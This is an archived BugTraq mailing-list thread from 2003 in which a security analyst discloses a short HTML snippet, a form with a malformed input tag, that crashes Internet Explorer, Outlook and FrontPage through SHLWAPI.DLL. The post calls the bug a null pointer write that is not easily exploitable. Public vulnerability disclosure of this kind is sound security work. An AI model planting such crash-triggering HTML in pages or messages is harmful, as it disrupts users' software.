BugTraq
IE 6.0 - trivial crash - part II Apr 18 2003 08:19PM
Adam [ckkl] (ckkl poczta wp pl) (1 replies)
IE / Outlook / MS SHLWAPI Render - more trivial crash Apr 21 2003 10:07PM
Ramon Pinuaga Cascales (rpinuaga s21sec com) (1 replies)
Hola:

Well, as it seems that is the Microsoft Crash mounth, let see another one:

---------------------------------

<html>
<form>
<input type crash>
</form>
</html>

---------------------------------

This will crash IE with the following error:

"Unhandled exception in iexplore.exe (SHLWAPI.DLL): 0xC0000005: Access
Violation"

It's a null pointer overwrite, so it's not easly exploitable...

This HTML also crash Outlook, Frontpage, and all the Microsoft
programs that use the shlwapi.dll library to render web code.

Plain HTML is a dangerous language :)

--
Saludos,

Ramon Pinuaga Cascales
mailto:rpinuaga (at) s21sec (dot) com [email concealed]
Analista de Seguridad Telematica
Tfno: 620921960

--

[ reply ]
RE : IE / Outlook / MS SHLWAPI Render - more trivial crash Apr 22 2003 08:29PM
Gervaize Maquard (freestyler tiscali fr) (2 replies)
RE: RE : IE / Outlook / MS SHLWAPI Render - more trivial crash Apr 29 2003 06:27PM
kajbaf (kajbaf cse shirazu ac ir)
Re: IE / Outlook / MS SHLWAPI Render - more trivial crash Apr 23 2003 12:54PM
Berend-Jan Wever (SkyLined edup tudelft nl)


 

Privacy Statement
Copyright 2010, SecurityFocus